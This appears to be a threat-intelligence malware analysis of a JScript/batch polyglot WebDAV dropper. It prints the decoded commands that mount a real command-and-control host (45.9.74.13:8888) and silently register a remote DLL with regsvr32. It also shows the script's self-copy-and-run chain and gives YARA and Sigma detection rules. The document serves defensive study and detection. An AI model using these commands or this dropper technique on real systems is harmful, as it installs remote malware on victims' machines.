unclassified-js-webdav-dropper: 4fdfd354 — 62-entry shared-prefix polyglot, C2 45.9.74.13:8888, payload 515.dll

Executive Summary

JScript/batch polyglot WebDAV dropper — the forty-eighth confirmed sibling in the unclassified-js-webdav-dropper family. Uses a shared 6-character prefix (gomscz) for both the batch SET variable layer and the JScript dictionary-lookup layer, with 62 entries mapping noise keys to single characters. The JS side self-replicates to %userprofile%\jnhezc.bat via WScript.Shell.Run, then the batch side mounts \\45.9.74.13@8888\DavWWWRoot\ and silently registers 515.dll via regsvr32 /s. No PowerShell wrapper, no WordPad decoy, no sandbox gate. Static-only — CAPE skipped because the file is a script, not a binary.

What It Is

• File: 20575186242786811325.js ^[file.txt]
• Size: 5,910 bytes ^[triage.json]
• Type: JScript/batch polyglot (CRLF line terminators, very long lines) ^[file.txt]
• SHA-256: 4fdfd3543b498890ee40e1d9a3d9ea1296102974a04d2d4f2ecbd226e7648b9a
• Family: unclassified-js-webdav-dropper — forty-eighth confirmed sibling (see entity page for full cluster analysis and prior siblings)
• Obfuscation dialect: Shared-prefix SET + JScript dictionary dual-layer, 62 entries, prefix gomscz ^[strings.txt:1-67]

How It Works

The polyglot exploits dual parsing: the batch interpreter reads the SET assignments (lines 1–63) and the two net use / regsvr32 commands (lines 64–65), while the JScript engine ignores everything inside /* … */ comments and executes the dictionary-assembly line (line 67). ^[strings.txt:64-67]

Batch Layer (lines 1–65)

Sixty-two SET assignments map gomscz<6-char-suffix> variables to single characters, followed by two commands: ^[strings.txt:64-65]

net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\515.dll

JScript Layer (line 67)

A 62-entry dictionary gomscz['<6-char-key>'] = '<char>' mirrors the batch SET map but uses different 6-character suffixes. Assembly occurs inside a try{gomscz();}catch(e){…} decoy (the function gomscz is undefined, forcing the catch path). The decoded execution chain is: ^[strings.txt:67]

// Function('return this')() returns the global WScript object
this.WScript.CreateObject("WScript.Shell").run(
  'cmd /k copy "' + this.WScript.ScriptFullName + '" "%userprofile%\\jnhezc.bat" && "%userprofile%\\jnhezc.bat"',
  0, false
);

This copies the current script to %userprofile%\jnhezc.bat, then executes it. The copy runs as a batch file, executing the net use + regsvr32 chain. No persistence — the dropper is one-shot.

Decompiled Behavior

Not applicable — this is a script, not a PE. No Ghidra/radare2 analysis surface. Behavioral understanding derives entirely from static string decoding.

C2 Infrastructure

The IP 45.9.74.13 has hosted payloads for siblings da58243c, b910d575, and 6f1d7c74. See unclassified-js-webdav-dropper entity page for full C2 infrastructure history.

Interesting Tidbits

• Prefix recycling: The gomscz prefix is reused across both the batch SET layer and the JScript dictionary layer, a fingerprint of the polyglot build script. The prefix length (6 characters) is invariant across all shared-prefix siblings. ^[strings.txt:1-67]
• 62-entry cardinality: This is the fourth 62-entry shared-prefix polyglot observed in the family (after da58243c, b910d575, and 6f1d7c74). The 62-entry variants always include the full alphanumeric + symbol coverage needed for cmd /k copy path construction. ^[unclassified-js-webdav-dropper]
• No decoy: Unlike the pure-batch natural-language variants (ffd5d894 cluster), this sample lacks the color f0 && start wordpad decoy and the PowerShell -windowstyle hidden wrapper. The polyglot relies on the JScript self-replication to achieve execution instead. ^[strings.txt:64-67]
• Self-replication path: %userprofile%\jnhezc.bat — new filename, same pattern as da58243c (%userprofile%\pryhpn.bat) and 6f1d7c74 (%userprofile%\mqxhrg.bat). The filename is random noise, 6 characters. ^[strings.txt:67]
• floss/capa failure: Both tools failed because the input is a script, not a supported binary format. ^[floss.txt] ^[capa.txt]

How To Mess With It (Homelab Replication)

See the unclassified-js-webdav-dropper entity page and the webdav-regsvr32-dll-sideloading technique page for the full replication guide. The only delta for this sample is the obfuscation prefix (gomscz) and the self-replication filename (jnhezc.bat).

Deployable Signatures

YARA Rule — JS WebDAV Polyglot Dropper (Generic)

rule JS_WebDAV_Polyglot_Dropper_Generic : script dropper {
    meta:
        description = "JScript/batch polyglot WebDAV dropper with shared-prefix SET+dictionary obfuscation"
        author = "PacketPursuit"
        date = "2026-07-08"
        hash = "4fdfd3543b498890ee40e1d9a3d9ea1296102974a04d2d4f2ecbd226e7648b9a"
    strings:
        $dav = "DavWWWRoot" nocase ascii wide
        $regsvr = "regsvr32" nocase ascii wide
        $netuse = "net use" nocase ascii wide
        $set_pattern = /set [a-z]{6}[a-z]{6}=./i
        $js_dict = /=[\];\[];[a-z]{6}\['[a-z]{6}'\]='.'/i
        $function_return = "Function('" nocase ascii wide
        $cmd_copy = "cmd /k copy" nocase ascii wide
    condition:
        filesize < 15KB and
        $dav and
        $regsvr and
        $netuse and
        #set_pattern >= 30 and
        $js_dict and
        $function_return and
        $cmd_copy
}

Sigma Rule — WebDAV Regsvr32 UNC Execution

title: WebDAV Regsvr32 UNC Execution
status: experimental
description: Detects regsvr32.exe loading a DLL from a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'regsvr32'
            - 'DavWWWRoot'
        CommandLine|contains: '\\'
    condition: selection
falsepositives:
    - Legitimate administrative use of regsvr32 with UNC paths (rare)
level: high

IOC List

Behavioral Fingerprint

This script is a JScript/batch polyglot. When executed by wscript.exe, it uses Function('return this')() to access the global WScript object, creates a WScript.Shell instance, and calls .Run() with a cmd /k copy command that copies itself to a 6-character noise filename in %userprofile%. The copy then executes as a batch file, running net use to mount \\45.9.74.13@8888\DavWWWRoot\ and regsvr32 /s to silently load a remote DLL (515.dll) over HTTP/WebDAV. No persistence, no PowerShell wrapper, no sandbox gate.

Detection Signatures

No capa or floss output — both tools rejected the non-binary input. Behavioral detection should target:

• wscript.exe → cmd.exe with copy + .bat in the command line
• cmd.exe → regsvr32.exe with \\ + DavWWWRoot in the command line
• net.exe with DavWWWRoot in the command line

References

• Artifact ID: a725177c-cb1a-4d95-94ab-97b2539f7a6e ^[triage.json]
• Source: MalwareBazaar (OpenCTI urlhaus-recent-payloads connector) ^[metadata.json]
• Entity page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Technique page: js-dictionary-char-lookup-obfuscation

Provenance

• file.txt — file utility v5.45
• strings.txt — strings from binutils v2.42
• floss.txt — FireEye flare-floss v3.1.1 (failed — unsupported format)
• capa.txt — Mandiant flare-capa v9.1.0 (failed — unsupported format)
• triage.json — triage-fast pipeline v1.0
• Decoded via custom Python script using regex extraction of batch SET and JS dictionary mappings